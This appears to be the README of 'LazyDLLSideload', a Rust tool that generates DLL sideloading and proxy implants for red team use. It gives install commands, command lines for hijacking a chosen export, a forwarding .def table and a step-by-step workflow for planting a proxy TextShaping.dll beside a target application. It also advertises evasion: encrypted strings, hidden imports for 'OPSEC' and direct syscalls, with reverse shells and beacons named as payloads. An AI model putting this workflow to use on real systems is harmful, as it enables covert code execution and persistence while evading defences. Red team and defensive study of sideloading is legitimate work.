LazyDLLSideload
A Rust-based tool for generating DLL proxy and sideload projects for red team engagements. Parses PE export tables and produces ready-to-compile Rust projects with your payload embedded.
Overview
LazyDLLSideload automates building DLL proxying and sideloading implants.
- Uses the windows_sys ecosystem.
- Parses any Windows DLL to extract exported functions.
- Generates complete Rust projects.
- Obfuscates strings. Decrypts at runtime.
- Supports two operation modes. Sideload and Proxy.
- Uses dyncvoke for dynamic invocation and syscall execution in proxy loads.
Installation
Install as package
Install once. Run from any path.
cargo install LazyDLLSideload
Clone the repository
git clone https://git.smukx.site/smukx/LazyDLLSideload.git
cd LazyDLLSideload
cargo b -r ; cp target/release/LazyDLLSideload.exe .
Usage
Mode 1: Sideload
Sideload mode creates a DLL to replace the original. Your payload runs when a target export is called. The original DLL never loads. This is a pure sideload attack.
How It Works
- Parses the target DLL to collect all exported functions.
- Generates stub functions for all exports except the hijacked one.
- Creates a
lib.rswith the hijacked function. Your payload runs from there. - On build, you get a DLL with all the required exports.
Example
# Generate sideload project for libvlc.dll
./LazyDLLSideload.exe -m sideload -p ./libvlc.dll -e libvlc_new
This generates a project where:
libvlc_newis the hijacked export and triggers the payload.- All other exports are empty stubs.
- The target app loads your DLL directly.
POC:
Mode 2: Proxy Mode
Proxy mode creates a DLL with three jobs:
- Forwards all function calls to the original (renamed) DLL.
- Intercepts one specific function to execute your payload.
- Maintains full functionality of the original DLL.
This is the classic proxying technique. The original DLL is renamed. Your proxy DLL takes its place, forwards calls, and intercepts specific functions.
Key Components
1. The Dispatch Function
The dispatch function is the core of the proxy. It:
- Loads the original DLL dynamically via
dyncvoke. - Resolves function addresses at runtime with
GetFunctionAddress. - Caches resolved addresses in a callback table to avoid repeated lookups.
- Uses a sync lock so the payload runs only once.
fn dispatch_call(
a1-u64, a2-u64, ..., a20-u64,
export_id: u32 // Which function was called (0 = hijacked)
) -> u64
2. Export Forwarding
The .def file forwards non-hijacked exports to the original DLL:
LIBRARY TextShaping
EXPORTS
BuildOtlCache=Shaping.BuildOtlCache @1
FreeOtlResources=Shaping.FreeOtlResources @2
GetOtlFeatureDefs=Shaping.GetOtlFeatureDefs @3
...
ShapingCreateFontCacheData @12 ; Hijacked - handled by dispatch_call
This tells the Windows loader to forward calls to Shaping.dll (the renamed original) on its own.
3. Dynamic Function Invocation (dyncvoke)
The tool uses dyncvoke:
- Better OPSEC. No import table entries for the original DLL.
- Syscalls. Set
NATIVE = trueto useNtCreateThreadExfor thread creation. - No suspicious imports. The proxy DLL has no explicit dependency on the target DLL.
// Dynamically load the original DLL at runtime
let module_handle = load_library_a(DLL_NAME);
// Resolve the function dynamically
let proc_addr = get_function_address(module_handle, &proc_name);
Two Path Modes
Relative Path Mode (Default)
Note: For relative path mode, place the original dll next to LazyDLLSideload.exe.
You give it a relative path like -p ./TextShaping.dll:
./LazyDLLSideload.exe -m proxy -p ./TextShaping.dll -e ShapingCreateFontCacheData -n Shaping.dll
POC:
Generated .def forwarding:
BuildOtlCache=Shaping.BuildOtlCache @1
Absolute Path Mode
You give it an absolute path like -p C:\Windows\System32\TextShaping.dll:
1. No renaming needed
2. Deploy the YourProxy.dll in the target directory.
3. DLL_NAME in project will be "C:\\Windows\\System32\\TextShaping.dll"
4. The proxy dll loads the original DLL directly from system32 and forwards to it.
./LazyDLLSideload.exe -m proxy -p C:\Windows\System32\TextShaping.dll -e ShapingCreateFontCacheData
Generated .def forwarding:
BuildOtlCache=C:\Windows\System32\TextShaping.BuildOtlCache @1
POC:
Usage
Build the Tool
cargo build --release
cp target/release/LazyDLLSideload.exe .
Sideload Mode
./LazyDLLSideload.exe -m sideload -p <path_to_dll> -e <export_to_hijack>
Proxy Mode
# Relative path mode
./LazyDLLSideload.exe -m proxy -p <path_to_dll> -e <export_to_hijack> -n <renamed_dll>
# Absolute path mode
./LazyDLLSideload.exe -m proxy -p <absolute_path_to_dll> -e <export_to_hijack>
Options
| Option | Description |
|---|---|
-m, --mode |
Mode: sideload or proxy |
-p, --path |
Path to target DLL |
-e, --export |
Export function name to hijack |
-n, --name |
Original DLL name after renaming (relative proxy path mode only) |
Project Structure
Sideload Mode
project_name/
├── Cargo.toml # Minimal dependencies (windows-sys only)
└── src/
├── lib.rs # DllMain + hijacked function + payload
└── forward.rs # Stub functions for all other exports
Proxy Mode
project_name/
├── Cargo.toml # Includes dyncvoke dependency
├── build.rs # Links proxy.def
├── proxy.def # Export table with forwarding
├── dyncvoke/ # Dynamic invocation library
└── src/
├── lib.rs # Gateway + hijacked function
└── forward.rs # Stub functions (satisfies linker)
Payload Customization
The default payload shows a MessageBox. To customise, edit the generated lib.rs:
fn initialize_component() {
// Your custom payload here
// Example: reverse shell, beacon, etc.
}
Native Syscall Mode
In proxy mode, syscalls run by default. Toggle them with:
const NATIVE: bool = true; // Use NtCreateThreadEx via syscall
// vs
const NATIVE: false; // Use std::thread::spawn
Example Workflow (Relative Path Mode)
1. Identify Target DLL
# Find a DLL the application loads
procmon.exe -> Filter: "Path ends with TextShaping.dll"
2. Generate Proxy
./LazyDLLSideload.exe -m proxy -p ./TextShaping.dll -e ShapingCreateFontCacheData -n Shaping.dll
3. Build
cd TextShaping
cargo build --release
4. Deploy
# Copy and rename original dll
rename TextShaping.dll Shaping.dll
# Deploy
copy target\release\TextShaping.dll .
copy Shaping.dll .
# The target app loading TextShaping.dll now:
# - Gets full functionality via forwarding
# - Executes the payload when ShapingCreateFontCacheData is called
# - Forwards to the original renamed dll Shaping.dll
Requirements
- Rust (1.70+)
- Visual Studio Build Tools (MSVC)
- Windows target:
rustup target add x86_64-pc-windows-msvc
LICENSE
Released under MIT LICENSE.


